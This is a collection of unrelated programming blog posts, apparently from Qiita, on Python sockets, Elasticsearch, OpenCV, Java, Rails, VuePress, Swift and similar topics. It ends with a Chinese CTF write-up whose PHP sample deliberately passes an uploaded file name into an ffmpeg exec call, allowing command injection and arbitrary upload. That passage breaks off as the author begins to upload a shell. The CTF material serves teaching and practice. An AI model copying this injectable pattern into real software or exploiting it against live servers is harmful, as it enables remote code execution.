Python Socket通信サンプル/簡易データ投げ込みツール

## Socket通信サンプル
PythonのSocket通信サンプル。
データの送信自体は最小2行で書ける。

```
with socket.socket(socket.AF_INET, args.p) as nsocket:
	# TCPの場合のみconnect
	if args.p is socket.SOCK_STREAM:
		nsocket.connect((host, port))
	# データ送信
	nsocket.send(data)
```

## 簡易データ投げ込みツール
パラメータを加えたncコマンド風、簡易データ投げ込みツール。
拡張予定。

```
import argparse
import socket

# パラメータ処理
parser = argparse.ArgumentParser()
parser.add_argument("-p", default=socket.SOCK_STREAM, help="Potocol TCP or UDP")
parser.add_argument("host", help="Hostname or IP Address")
parser.add_argument("port", help="Port number")
parser.add_argument("-m", default='0123456789abcdef' , help="Send data")
parser.add_argument("-f", type=argparse.FileType('rb'), help="Send data from a file")
args = parser.parse_args()

send_data = '0123456789abcdef'
if args.m:
	send_data = args.m.encode()

if args.f:
	send_data = args.f.read()

# 実際の通信
with socket.socket(socket.AF_INET, args.p) as nsocket:
	# TCPの場合のみconnect
	if args.p is socket.SOCK_STREAM:
		nsocket.connect((args.host, int(args.port)))
	# データ送信
	nsocket.send(send_data)
"""
	# 応答受信
	nsocket.settimeout(3)
	data = nsocket.recv(1024)
	
	print(repr(data))
"""
```
[未解決] BonsaiのReindexで "this cluster currently has [3000]/[3000] maximum shards open" とエラーがでる

解決したと思ったら再発するの繰り返しです。Qiitaには非公開に戻す機能が内容で、備忘録も兼ねて未解決のまま公開しておきます。詳しい人いたらコメントで教えてくれると嬉しいです。

Heroku、Rails、Elasticsearch、Bonsai、Searchkickという環境で

```console
$ bundle exec rake searchkick:reindex CLASS=Use
# もしくは
$ bundle exec rake searchkick:reindex:all
```

としてReindexをしようとすると以下のようなエラーがでる。

```
this action would add [2] total shards, but this cluster currently has [3000]/[3000] maximum shards open
```

Shard（シャード：直訳で破片）というのはインデックスを分割したものらしく、通常はなにかのバックアップとして、メインで使うプライマリーシャードに対してレプリカシャードを作ったりするらしい。

しかしShardは3000どころか2しか使ってないとbonsaiに表示されてるんだが‥。

<img width="1410" alt="スクリーンショット 2020-07-10 15.59.49.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/242610/9926ad85-aabd-3d35-fc2d-6c4f06ce61da.png">

## 解決策①（別アプリで再発）
stagingとしている方で、bonsaiのConsoleでインデックスを削除してReindexしたら上手いった。

```
GET /_cat/indices
# もしくは
GET /_aliased/
# でインデックス名を確認し
DELETE /posts_production_xxxxxxxx
# で一度インデックスを削除してからReindexし直す
```

けどpuroductionで同様にしたらダメ‥。bonsaiを削除して入れ直してもダメ、`heroku restart`してもダメだった‥。



## 解決策②（ただし別アプリで再発）

Bonsai が提供する Elasticsearch のバージョンが 7.2.0 で、Searchkickの最新版が依存するGem`elasticsearch`のバージョンが 7.8.0 になっているからではと考えた（Gemfile.lockの中を elasticsearch で検索してバージョンが 7.8.0 になってたので気づいた）。

> The latest version works with Elasticsearch 6 and 7
https://github.com/ankane/searchkick#getting-started

Searchkick - bonsai
https://docs.bonsai.io/article/99-searchkick

SearchkickのRead.meにも、bonsaiのドキュメントにもこのことは触れられていないが関係があるのでは？


elasticsearch のバージョンを 7.2.0 と明示的に指定して

```
# Gemfile
gem 'elasticsearch', '7.2.0' # ←追加
gem 'searchkick'
```

> The bundle currently has elasticsearch locked at 7.8.0

と怒られたので`bundle update`した。

```console
$ bundle update

Fetching elasticsearch-api 7.2.0 (was 7.8.0)
Installing elasticsearch-api 7.2.0 (was 7.8.0)
Fetching elasticsearch-transport 7.2.0 (was 7.8.0)
Installing elasticsearch-transport 7.2.0 (was 7.8.0)
Fetching elasticsearch 7.2.0 (was 7.8.0)
Installing elasticsearch 7.2.0 (was 7.8.0)
```

他のGemのバージョンも上げてしまったので、[特定のGemだけをアップデート](https://qiita.com/toshi_dev/items/84869dce53372a52f752)させる`bundle update elasticsearch`とした方が良かったかもしれない。

これをHerokuにプッシュしてReindexしたら上手くった。

```
$ git push heroku master
$ heroku run bundle exec rake searchkick:reindex:all
```



## シャード数について
bonsaiをHerokuの管理画面から入れただけなので、今回レプリカシャードの指定をしていない。シャードが最大上限3000に達したというのは誤判定だろうが、bonsaiのドキュメントにあるように`number_of_replicas`をModelで設定した方がいいのかもしれない。

```User.rb
class User < ApplicationRecord
  searchkick settings: { number_of_replicas: 0 } 
end
```

## その他

もしかするとProcfile経由でリリース時にReindexを自動実行しようとしたせいでこうなったのかもしれない。force push とかもしちゃっていたので‥。またstagingとproductionで解決した方法が違ったので、この2つのアプリに何か違いがあるのかも‥。

## 参考
shardの状態の確認コマンドはこちらが参考になった👇
https://swfz.hatenablog.com/entry/2015/07/22/040354
OpenCV 特徴量検出をGoogleColaboratoryで

OpenCVのチュートリアルは、仕様が古いものもあるので、とりあえず動かしたいという人向けにコードを載せておきます。

[特徴量検出のチュートリアル]:[http://labs.eecs.tottori-u.ac.jp/sd/Member/oyamada/OpenCV/html/py_tutorials/py_feature2d/py_matcher/py_matcher.html]

```python
import numpy as np
import cv2
from google.colab.patches import cv2_imshow

img1 = cv2.imread('box.png', 0)
img2 = cv2.imread('box_in_scene.png', 0)
akaze = cv2.AKAZE_create()

kp1, des1 = akaze.detectAndCompute(img1, None)
kp2, des2 = akaze.detectAndCompute(img2, None)
# create BFMatcher object
bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=False)
#bf = cv2.BFMatcher()
matches = bf.knnMatch(des1, des2, k=2)

# Need to draw only good matches, so create a mask
matchesMask = [[0,0] for i in range(len(matches))]

# Apply ratio test
good = []
good2 = []
for m,n in matches:
    if m.distance < 0.75*n.distance:
        good.append([m])
        good2.append(m)
# cv2.drawMatchesKnn expects list of lists as matches.
img3 = cv2.drawMatchesKnn(img1,kp1,img2,kp2,good,None,flags=2)

cv2_imshow(img3)

MIN_MATCH_COUNT  =10
if len(good)>MIN_MATCH_COUNT:
    src_pts = np.float32([ kp1[m.queryIdx].pt for m in good2 ]).reshape(-1,1,2)
    dst_pts = np.float32([ kp2[m.trainIdx].pt for m in good2 ]).reshape(-1,1,2)

    M, mask = cv2.findHomography(src_pts, dst_pts, cv2.RANSAC,5.0)
    matchesMask = mask.ravel().tolist()

    h,w = img1.shape
    pts = np.float32([ [0,0],[0,h-1],[w-1,h-1],[w-1,0] ]).reshape(-1,1,2)
    dst = cv2.perspectiveTransform(pts,M)

    img3 = cv2.polylines(img2,[np.int32(dst)],True,255,3, cv2.LINE_AA)
    cv2_imshow(img3)
    img4 = cv2.drawMatchesKnn(img1,kp1,img2,kp2,good,None,flags=2)
    cv2_imshow(img4)
```
COPYコマンドをやってみた

①テキトーにテーブルを作成。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/180727/0585836d-3e0c-11dd-6c3c-7bede86f6df4.png)

②Excelで最終行までテストデータを作成し、CSVで保存。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/180727/2a9e78d0-2059-c7eb-0e84-a40884cc679a.png)

③コマンドを実行
postgres=# copy test1 from  'C:/HOGE/testdata.csv' with (format csv);
COPY 1048576
postgres=# select count(*) from test1;
 1048576

成功しました。
実測はしてないけど、10秒くらいで終了しました。

なお、UTF-8 BOMつきだと失敗。
また、重複エラーの場合、1件も登録されません。


※MySQLの場合
COPYコマンドはないので、以下を使用する。

MariaDB [test]> LOAD DATA LOCAL INFILE  'C:/workspace_new/PaizaD1/hex.csv' INTO TABLE HEX;
Query OK, 40000 rows affected (0.069 sec)
Records: 40000  Deleted: 0  Skipped: 0  Warnings: 0
Javaのequalsで気をつけたい点

##その1　nullチェック

```java

public static void main(String[] args) {

	String str1 = null;
	String str2 = "test";

	System.out.println(str1.equals(str2));//実行1
	System.out.println(str2.equals(str1));//実行2
}
```
実行1は、java.lang.NullPointerExceptionが発生します。
例外発生の原因は、str1にnullを入れてしまい、nullのオブジェクトからメソッドを呼び出してしまったことです。
nullでないstr2からメソッドを呼び出すと、例外が発生しなくなりfalseを返すようになります。

実行2の書き方は、str1がnullであっても例外が発生しないというメリットがありますが、異常系としてnullが入ることを想定せずに実装していた場合、コードミスに気づきにくいという短所があると思います。

nullチェックを意識するのであれば、例外処理で捕まえる方が安全かもしれません。

```java
public static void main(String[] args) {

	String str1 = null;
	String str2 = "test2";

	try {
		System.out.println(str1.equals(str2));
	}catch(NullPointerException ex) {
		System.out.println("例外キャッチ");
	}
}

```



##その2 コンスタントプール

```java

public static void main(String[] args) {

	String str1 = "test1";
	String str2 = "test1";

	System.out.println(str1.equals(str2));//結果1
	System.out.println(str1 == str2);     //結果2
}
```
結果1はもちろんtrueになりますが、結果2はどうなるでしょうか？
結論、結果2もtrueになります。

これは、コンスタントプールという仕組みがあるためです。
文字リテラルは、プログラム中に頻繁に現れます。しかし、そのたびにStringのインスタンスを生成していては、メモリを大量に消費することになります。

もし、同じ文字列リテラルが再度登場すれば、定数用のメモリ空間にある文字列インスタンスへの参照が「使いまわし」されます。これがコンスタントプールという仕組みです。

このコンスタントプールは、文字列リテラルを使ったときだけ有効です。
new演算子を使って明示的に新しいインスタンスをつくることを記述した場合には、その都度インスタンスがつくられ、それぞれの変数が異なる参照を持ちます。

```java
public static void main(String[] args) {

    String str1 = new String("test");
    String str2 = "test";

    System.out.println(str1.equals(str2));//true
    System.out.println(str1 == str2);     //false
}
```
実際のプログラムではまずお目にかかりませんが、Java Silverとかでよく出てくるひっかけなので気をつけましょう。


##その3 大文字小文字を区別しない判定

equalsIgnoreCaseメソッドを使うと、大文字小文字を区別せずに同値性を判定できます。
ただequalsに比べて出現頻度がかなり低いと思います。

```java

public static void main(String[] args) {

    String str1 = "abc";
    String str2 = "ABC";

    System.out.println(str1.equals(str2));          //false
    System.out.println(str1.equalsIgnoreCase(str2));//true
}
```

以上
ポートフォリオ

#ポートフォリオ１

こちらのポートフォリオは環境構築だけで開発は行っていません。
(aws,nginx,ruby,docker,mysql)を使って環境構築を行いました。

https://github.com/tmk616window/docker-ruby2


#ポートフォリオ２　

ポートフォリオ投稿サイトを作りました。

URLはこちらになります


https://github.com/tmk616window/review00
https://review0.herokuapp.com/

##経緯
まずなぜこれを作ろうと思ったのか説明させていただきます。
自分がインターンの採用のためにポートフォリオを作ろうと思ったときに「何を作ればいいかわからない。どこまで作りこめばいいかわからない。」という悩みがありました。
ツイッターやyoutubeのコメント欄でもこういった悩みを持った方々をよく見かけました。
それだったら何を作ればいいのかまたどれくらい作りこめばいいのかの指標になるようなものをポートフォリオに落とし込んでみようと思いました。

##コンプト
エンジニア採用が決まった方が記事を投稿し、それを未経験の方が参考にしてポートフォリオを作る指標を定めることを目標にしています。

##機能
では実際に機能の説明をさせていただきます。

###トップページ
![2020-07-10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/634791/e44ba680-f418-0888-6a5c-d72a4d58d2e3.png)

こちらがトップページになります。
採用された方が自分のポートフォリオを６項目で評価し、数値化してわかりやすくしています。

###詳細ページ

![2020-07-10 (7).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/634791/45e77396-76dd-9572-660d-5f245158f4ea.png)


興味がある投稿をクリックすると詳細ページに移動します。
詳細ページにはポートフォリオの情報がより詳しく記載されています。
いいねボタンはajaxで実装しました。
いいね数の数字もリアルタイムで変わるように実装しました。

###相談

![2020-07-10 (2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/634791/fca6265e-94ed-8335-9760-77f19a69cdf5.png)

詳細ページの「相談する」のボタンを押すと詳細ページに移動します
相談ページではslack形式でリアルタイムに相談できるようなものを作りました。
こちらでは詳細ページで気になったことなどを質問できるようにするために作りました。
入力したメッセージは相手のマイページに通知が行くようになっています
actioncableを使いました。


###マイページ



![2020-07-10 (3).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/634791/bfc62512-1a3a-fd5e-92af-517316a4a696.png)

上のチャットメッセージのところに先ほど他のユーザーが相談ページで送ったメッセージの通知が来るようになっています。
マイページの画像はawsのs3に接続していましたが料金がかかりすぎていたので接続を切りました。
コード自体は残っているのでそちらを参照お願いします。
ほかのユーザーのマイページに入ると画像の下にフォローボタンが出てきてフォローすることができます。
###イベント一覧

![2020-07-10 (5).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/634791/f188ace0-42a1-6c27-aab6-c967dc699fc8.png)


こちらは時間があったのでサブで機能追加したものです。
画像はawsのs3に接続していましたが料金がかかりすぎていたので接続を切りました。
コード自体は残っているのでそちらを参照お願いします。
気になるイベントをクリックすると詳細ページに飛びます。

###イベント詳細ページ


![2020-07-10 (6).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/634791/d833ab61-9c46-75c0-075c-d2a207b24eb8.png)

詳細ページに飛びます。
下のイベント申し込みボタンをクリックすると申し込みページに飛んで申し込むことができます。
申し込みが完了すると相手のマイページのイベントメッセージのところに通知が行くようになっています。


以上でポートフォリオの説明を終わります。
【Rails6】hamlを導入したらmissing a templateエラーが発生したときの対処法【超簡単】

**hamlのメリット**

- 閉じタグや```<% end %>```が必要なくなり、簡潔にかける。
- インデントがきちっとしていないとエラーになるので嫌でも綺麗にかける。

上記のメリットに加えて、現場でも使われる機会が多いので、勉強がてらRailsにhamlを導入してみました。
そのとき```missing a template```というエラーが発生し少し困ったのでここへメモとして残しておきます。
このページを見ているということは既にhamlを導入済身の方が多いと思うので一番下の解決方法へ飛んでください。
そうでない方のためにも、hamlの導入方法についても解説します。

(環境）

- windows10 Pro
- Rails: 6.0.3.2
- ruby: 2.7.1p83 (2020-03-31 revision a0c7c23c9c) [x86_64-linux]
- Docker for windows
- MySQL 5.6
- nginx:1.15.8

##hamlの導入方法

###１.Gemを追記
```:Gemfile
gem 'haml-rails'
```
###２.いつものやつ
```
$ docker-compose exec サービス名 bundle
```

開発環境にDockerを使っているので```docker-compose exec サービス名```　を付けてます。
これでhamlの導入は完了です。

##erbファイルをhamlに変換
```
$ docker-compose exec サービス名 rails haml:erb2haml
```
たったこれだけでerbファイルをhamlへ変換してくれます。


##missing a templateエラーが発生
```
ActionController::UnknownFormat (PostsController#index is missing a template
 for this request format and variant.

request.formats: ["text/html"]
request.variant: []

NOTE! For XHR/Ajax or API requests, this action would normally respond with
204 No Content: an empty white screen. Since you're loading it in a web
browser, we assume that you expected to actually render a template, not
nothing, so we're showing an error to be extra-clear. If you expect 204 No
Content, carry on. That's what you'll get from an XHR or API request. Give
it a shot.)
```

localhostにアクセスしたら上記のようなエラーが出てviewが表示されなくなりました。

##解決方法
解決方法はサーバーを再起動するだけ。（```rails s```)
僕の場合は開発環境にdockerを使っていたのでコンテナを再起動しました。

```
$ docker-compose restart
```

これで解決すると思います。
***視野が狭くなると再起動するという発想すらでなくなり迷宮入りしかけました。***
エラーが起きた時は視野を広く持てるように気を付けたいです。
VuePressを使って爆速でブログを作成する、ついでにfirebaseにデプロイする

# はじめに
エンジニアというのは暇があればブログを作り、作って満足して放置し削除、しかしまた暇になればブログを作りという無限ループを行う罪深き存在、、、
今回はブログを作りたいが時間をかけたくない、多機能さは不要でサクッと作成したい、という方に向けたVuePressでブログを作る記事です。

[VuePress](https://vuepress.vuejs.org/)

## 前提条件

- node.js 8.6以降
- yarn
  - vuepressはnpmでも導入できますが、方法によってはyarnでの導入が推奨されています。自分はとりあえずyarnで導入しました
- firebaseでアカウント作成、CLIをインストールしている

## ブログを作るよ

```terminal
$ yarn create vuepress
```

```terminal
 
? Select the boilerplate type blog //テンプレートスタイルの選択、ここではblog
? What's the name of your project? // プロジェクトネームを記入します
? What's the description of your project? // プロジェクトの説明を記入します
 What's your email?  // メールアドレスを記入
? What's your name? // 
? What's the repo of your project. 
```

これでブログができました。爆速でしたね。本当にできているの？確認してみましょう

```terminal
$ yarn
$ yarn run dev
```

`http://localhost:8081/`にアクセスしましょう

<img width="1417" alt="スクリーンショット 2020-07-08 23.33.39.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/349049/3d2c1da5-d972-750b-fd72-3fd5f0a11a54.png">

できていますね。基本的な機能として`タグ`や`ブログ内検索`がついてます。

作成されたディレクトリは以下のようになっていると思います。

```

├── README.md
├── blog
|    └── _posts // この中に記事を作成、保存します
|    └── .vuepress // vueファイルやらページに必要なデータが入っています
├── firebase.json
├── node_modules
├── package.json
├── public
└── yarn.lock
```

あまりにも爆速でできてしまったので時間が余って仕方のない方のために、作成したブログをFirebaseでデプロイして、爆速でネットの海に公開する方法を書きます。

## Firebaseにデプロイする

vueファイルはそのまま使うのではなく、一度`html`に変換してデプロイします。

```terminal
$ yarn build
```

`blog/.vuepress`ディレクトリに`dist`ディレクトリが作成されます。
中を見るとビルドされたファイル等が格納されています。このdistをfirebaseにデプロイします。

```terminal
$ firebase init

? Which Firebase CLI features do you want to set up for this folder? Press Space to select features, then Enter to confirm your choices.
(*) Hosting: Configure and deploy Firebase Hosting sites

? Please select an option: 
(*) Use an existing project
? Select a default Firebase project for this directory
// 使いたいプロジェクトを選択
? What do you want to use as your public directory? public
// blog/.vuepress/distと入力します、デプロイしたいディレクトリを指定します
? Configure as a single-page app (rewrite all urls to /index.html)? Yes
// デフォルトはno SPAなのでYes
```

これでfirebase側の設定はOKです。本当に設定できているか確認したい場合は

```terminal
$ firebase serve
```

こちらのコマンドを実行するとローカルURLが表示されるので、そこを確認して、ブログが表示されていればOKです。
では最後にブログをデプロイします。

```terminal
$ firebase deploy
```

Hosting URLに出力されているURLに接続し、ブログが表示されていたら完了です。

# 終わりに
これで皆さんも気軽にブログを作っては破壊を繰り返せますね！ちなみに自分はVuePress + Firebaseで作ったブログを放置してすでに1週間です。

最後までご覧いただきありがとうございました。
MySQLのTableをJDBCでconnection.getMetaData().getColumns()したときのカラム名リスト

JDBCを使って、テーブルのスキーマ情報を取得する際の完全個人用備忘録。
index順になっています。
そのうち説明も追加します


|カラム名|説明|値の例|
|:--|:--|:--|
|TABLE_CAT|データベース名|database_name|
|TABLE_SCHEM||null|
|TABLE_NAME|テーブル名|table_name|
|COLUMN_NAME|カラム名|id|
|DATA_TYPE||4|
|TYPE_NAME||INT UNSIGNED|
|COLUMN_SIZE||10|
|BUFFER_LENGTH||65535|
|DECIMAL_DIGITS||null|
|NUM_PREC_RADIX||10|
|NULLABLE||0|
|REMARKS|カラムについたコメント|カラムコメント|
|COLUMN_DEF||null|
|SQL_DATA_TYPE||0|
|SQL_DATETIME_SUB||0|
|CHAR_OCTET_LENGTH||null|
|ORDINAL_POSITION||1|
|IS_NULLABLE||NO|
|SCOPE_CATALOG||null|
|SCOPE_SCHEMA||null|
|SCOPE_TABLE||null|
|SOURCE_DATA_TYPE||null|
|IS_AUTOINCREMENT||YES|
|IS_GENERATEDCOLUMN||NO|
Unity 学習開始

2020.07.10　

以前から気になっていたARアプリやソフトが作りたくて調べていたらUnityに出会いました。
Unityの開発者や参考文献、参考動画が多くあるので進めていくのに露頭に迷わなくて良さそうってのもあります。

今日からUnity学習を始めます。（宣言しないと進められないので(笑)）

学習参考URL
ユニティちゃんが教える！初心者向けUnity講座
https://www.udemy.com/course/unity-chan-tutorial-01/
今日からはじめるUnity
https://qiita.com/nmxi/items/7950fb12ef925efa276d
Unity初学者用URL集
https://qiita.com/nori0__/items/e03635481318dc983b9a

他にも参考になるサイト、ページがあれば教えてください。

Qiitaの先生、先輩よろしくお願します。
Ionic 特定のページの背景色を変更する方法（ion-contentの色）

#`ion-content`の背景色の変更、Ionic初心者は恐らくこうやっている。

```html:home.page.html
<ion-header>
  <ion-toolbar color="secondary">
    <ion-title>
      ホーム
    </ion-title>
  </ion-toolbar>
</ion-header>

<ion-content class="home">
 
</ion-content>
```

```css:home.page.scss
.home {
  background-color: #fff5cc;
}
```

**でもこれではうまくいかないんですよ〜！**:sob:

#`ion-content`の背景色を変更する方法
※このやり方がベストなのかは分かりませんが、とりあえずこの方法でもできたので。。

##variables.scssに値を追加
`variables.scss`のroot内にこちらを追加

```css:variables.scss
/** Ionic CSS Variables **/
:root {
/** 省略 **/
--ion-background-color:#ffffff;
}
```

##背景色を変更したいページのscssに値を追加

```css:home.page.scss
ion-content{
    --ion-background-color:#fcfde8;
}
```

これでhome.pageだけ背景色が変わる！


#全てのページの背景色を変更するには？
`variables.scss`を以下のようにして、上記の例のように各ページで一切上書きしなければ、全てのページの背景色を変更可能

```css:variables.scss
/** Ionic CSS Variables **/
:root {
/** 省略 **/
--ion-background-color:#000000;
}
```

#参考
https://ionicframework.com/docs/theming/css-variables
ゼロから始めるLeetCode Day82「392. Is Subsequence」

# 概要

海外ではエンジニアの面接においてコーディングテストというものが行われるらしく、多くの場合、特定の関数やクラスをお題に沿って実装するという物がメインである。

どうやら多くのエンジニアはその対策としてLeetCodeなるサイトで対策を行うようだ。

早い話が本場でも行われているようなコーディングテストに耐えうるようなアルゴリズム力を鍛えるサイトであり、海外のテックカンパニーでのキャリアを積みたい方にとっては避けては通れない道である。

と、仰々しく書いてみましたが、私は今のところそういった面接を受ける予定はありません。

ただ、ITエンジニアとして人並みのアルゴリズム力くらいは持っておいた方がいいだろうということで不定期に問題を解いてその時に考えたやり方をメモ的に書いていこうかと思います。

[Leetcode](https://leetcode.com/)

Python3で解いています。

[ゼロから始めるLeetCode 目次](https://qiita.com/KueharX/items/6ee2502c3b620c795b70)

前回
[ゼロから始めるLeetCode Day81 「347. Top K Frequent Elements」](https://qiita.com/KueharX/items/d56d214fcfe5f9c1b4da)


[Twitter](https://twitter.com/kueharx)やってます。

**[技術ブログ](https://kueharx.blogspot.com/)始めました！！**
技術はLeetCode、Django、Nuxt、あたりについて書くと思います。**こちらの方が更新は早いので**、よければブクマよろしくお願いいたします！

# 問題
[392. Is Subsequence](https://leetcode.com/problems/is-subsequence/)
難易度はEasy。

前回と同様問題集からの抜粋です。

問題としては、文字列sと文字列tが与えられたとき，sがtの部分連続であるかどうかを調べよ、というものです。

なお、ここでの文字列の部分連続とは、元の文字列から、残りの文字の相対的な位置を崩さずに、文字の一部を削除することによって形成される新しい文字列のことです（何もなくてもよい）。(例えば、"ace "は "abcde "の部分文字列ですが、"aec "はそうではありません)。

>Example 1:

>Input: s = "abc", t = "ahbgdc"
Output: true

>Example 2:

>Input: s = "axc", t = "ahbgdc"
Output: false

# 解法



```python
class Solution:
    def isSubsequence(self, s: str, t: str) -> bool:
        pre = cur = 0
        while pre < len(s) and cur < len(t):
            if s[pre] == t[cur]:
                pre +=1
            cur +=1
        return pre == len(s)
# Runtime: 36 ms, faster than 60.46% of Python3 online submissions for Is Subsequence.
# Memory Usage: 14.1 MB, less than 35.95% of Python3 online submissions for Is Subsequence.
```


pointerを二つ使って考える形式を取りました。

仮に`s`の`pre`インデックスがtの`cur`インデックス、すなわち部分文字列が見つかった時に`pre`の値を増加させ、それ以外の時は`cur`側の値を増加させることで、`t`のインデックスをずらすことができます。これを`pre`と`cur`それぞれが`s`と`t`の長さ未満の間続けることで、仮に`pre`の値が`s`の長さと一致しない場合は`False`を、それ以外の場合は`True`を返すようにしています。

何のアルゴリズムというわけではありませんが、総合的に考える問題とあった通り、いろんなやり方があると思いますが、今回はこんな感じになりました。

では今回はここまで。お疲れ様でした。
Node-redでリダイレクトさせるページを作る

## 目的
「チラシに印刷したQRからの流入か店頭のポスターのQRからの流入か測りたいからリダイレクトページ欲しいよね。」
みたいなよくある話。

## Node-redのフロー
``` node.json
[{"id":"e64dc550.49f46","type":"http in","z":"d995ebbc.d3d4b","name":"","url":"/qr","method":"get","upload":false,"swaggerDoc":"","x":90,"y":60,"wires":[["caf1c45e.9cfef8"]]},{"id":"f641092c.042f4","type":"http response","z":"d995ebbc.d3d4b","name":"","statusCode":"","headers":{},"x":450,"y":60,"wires":[]},{"id":"40a104b1.96aaf4","type":"http in","z":"d995ebbc.d3d4b","name":"","url":"/redirect","method":"get","upload":false,"swaggerDoc":"","x":110,"y":120,"wires":[["8a5a3300.a937d"]]},{"id":"8a5a3300.a937d","type":"template","z":"d995ebbc.d3d4b","name":"","field":"payload","fieldType":"msg","format":"handlebars","syntax":"mustache","template":"<h1>This is the payload: {{payload}} !</h1>","output":"str","x":290,"y":120,"wires":[["fb6afad3.a8fc68"]]},{"id":"fb6afad3.a8fc68","type":"http response","z":"d995ebbc.d3d4b","name":"","statusCode":"","headers":{},"x":450,"y":120,"wires":[]},{"id":"caf1c45e.9cfef8","type":"function","z":"d995ebbc.d3d4b","name":"リダイレクト設定","func":"msg.res.redirect(\"/redirect\")\nreturn;","outputs":1,"noerr":0,"initialize":"","finalize":"","x":270,"y":60,"wires":[["f641092c.042f4"]]}]
```

![スクリーンショット 2020-07-10 15.00.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/45591/30029de5-44f9-8acb-e240-025798fd4b68.png)


functionノードの中身

``` function.js
msg.res.redirect("/redirect")
return;
```

[res.redirect()](https://expressjs.com/ja/4x/api.html#res.redirect)


functionノードでクエリーを見てDBに追加してねー。もしくは、tenplateでGA追加して計測。
継承とかについて(JavaSilver)

JavaSilverの取得のためにJavaの基礎で理解が浅い部分をまとめてみています。

#継承
継承の概念自体は理解しているつもりです。
継承というより機能を拡張すると表現したほうが個人的には理解しやすいかと思います。
スーパークラスの方が抽象度が高くて機能が少なくて、より具体的な機能が追加されてスーパークラス＋α(拡張)になったのがサブクラスというイメージです。

・スーパークラス

```java:SuperA.java
class SuperA {}
```
・スーパークラスを継承したサブクラス

```java:SubA.java
class SubA extends SuperA {}
```

###できないこと
- extendsのあとに複数のスーパークラスは指定できない。

```java:SubA.java
class SubA extends SuperA, SuperB {}
```

- スーパークラスで定義したprivateなメンバはサブクラスで使用できない。

	スーパークラスで定義したメンバはサブクラスで使用できるがprivateなメンバは同一クラスのからしか使用できないため、サブクラスでも使用できない。

- メソッドをオーバーライドする場合のアクセス修飾子はスーパークラスで指定している以上の公開範囲でないといけない。

	例えばスーパークラスでpublicを指定しているメソッドをオーバーライドする場合はpublicを指定しないといけない。(公開範囲は狭められない。)

	・アクセス修飾子の公開範囲

|広い|─|─|狭い|
|:---------:|:---------:|:---------:|:---------:|
|public|protected|デフォルト|private|
|どのクラスからでもアクセス可|サブクラス or 同一パッケージ|同一パッケージ|同一クラスのみ|


- final修飾子のついているメンバはオーバーライドできない。

###参照型の型変換
スーパークラスとサブクラスでの型変換については以下の2種類があります。
※ついでにインターフェースについても。。。

- 暗黙型変換
サブクラス→スーパークラス
実装クラス→インターフェース

- キャストによる型変換
サブクラス←スーパークラス
実装クラス←インターフェース

つまり変換後に使用できる機能が減らなければ暗黙型変換ができるというイメージですかね？

###その他

- オーバーライド時に呼び出されるメンバ

	サブクラスのオブジェクトをスーパークラス型の変数に代入した場合、インスタンスメソッド以外はスーパークラスのメンバが呼び出される。
Swiftで大文字か小文字か判定する&アルファベットが格納された配列

Characterの`isUppercase`プロパティは大文字かどうかを、`isLowercase`は小文字かどうかを判定してくれます。

```Swift
let a:Character = "a"//Character(readLine()!)
if a.isUppercase {
    print("小文字です")
} else {
    print("大文字です")
}
```

`["a","b","c"..."z"]`と`["A","B","C"..."Z"]`は使えそう
[参考](https://gist.github.com/creaaa/066a94d0ebfecf419210ccc181701a1f)

```Swift
let upChaAry = (65...90).map{ String(Character(UnicodeScalar($0)!)) }
let lowChaArr = (97...122).map{String(Character(UnicodeScalar($0)!))}
print(lowChaArr)
print(upChaAry)
```
XcodeProjectのバージョン情報管理



| 名前              |       Info.plistキー名  |Xcode->Targets->General->Identityでの名前|        用途|典型例|
|:-----------------|------------------:|------------------:|------------------:|------------------:|
| バージョン         |              CFBundleShortVersionString |Version|　ユーザーから見たバージョン。App Storeで表示される|1.0|
|ビルド番号         |              CFBundleVersion |Build|開発者が管理用に使うバージョン。App Store Connectにアップロードする際、既にアップロードされたものよりビルド番号を上げなくてはならない。|1.0.0|

### メモ

これに限ったことではないが、`Version`はユーザーが見るもの（本番で使われるもの）なので、開発中に適当な値などを入れるべきではないと思われる。なぜなら番号を直し忘れてしまうリスクがある。

### 参考

[stack overflow - What values should I use for CFBundleVersion and CFBundleShortVersionString?](https://stackoverflow.com/questions/19726988/what-values-should-i-use-for-cfbundleversion-and-cfbundleshortversionstring)
[iOSアプリバージョンについて](https://qiita.com/mo12ino/items/667f9f3fd3829440a20b)
[More the iPhone Development Playground](http://kimada.hatenablog.com/entry/2017/04/30/102542)
[Swift Study - iOSアプリのバージョン番号とビルド番号を設定](https://www.swift-study.com/ios-app-version-and-build/)
[正しく理解する iOS アプリのバージョニング](https://tech.ryukyu-i.co.jp/2017/01/01/ios-versioning/)
每日一问：记一次命令注入RCE

在qq群里提出了一个**每日一问**的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。

## 题目
模拟真实环境在群里出了一道CTF题当作**每日一问**，代码形如：

```php
<?php
header('Content-Type: text/html; charset=utf-8');
//error_reporting(0);
$upload_dir = 'uploads/';
$isFfmpeg = isset($_POST['isFfmpeg']) ? (boolean)($_POST['isFfmpeg']) : false;
$save = isset($_POST['save']) ? $upload_dir . $_POST['save'] : false;
$filename = isset($_FILES['filename']) ? $_FILES['filename']['name'] : false;
if ($isFfmpeg && isset($_FILES)) {
    if ($filename && $save && $_FILES['filename']["type"] == 'video/blob') {
        if (move_uploaded_file($_FILES['filename']["tmp_name"], $save)) {
            $last_line = exec("ffmpeg -i " . $save . " -hide_banner");
           // echo 'success';
        } else {
            //echo 'error';
            unlink($save);
            unlink($_FILES['filename']['tmp_name']);
        }
    }
} else {
    show_source(__FILE__);
}
```
环境是oneinstack的集成环境，网站目录位于`/data/wwwroot/default/index.php`，index.php是root权限写入的。

## 题解思路

php文件很明确可以看出来两个洞：
1. 任意文件上传
2. 命令注入

首先尝试任意文件上传，直接怼上去shell试试，构造请求包：
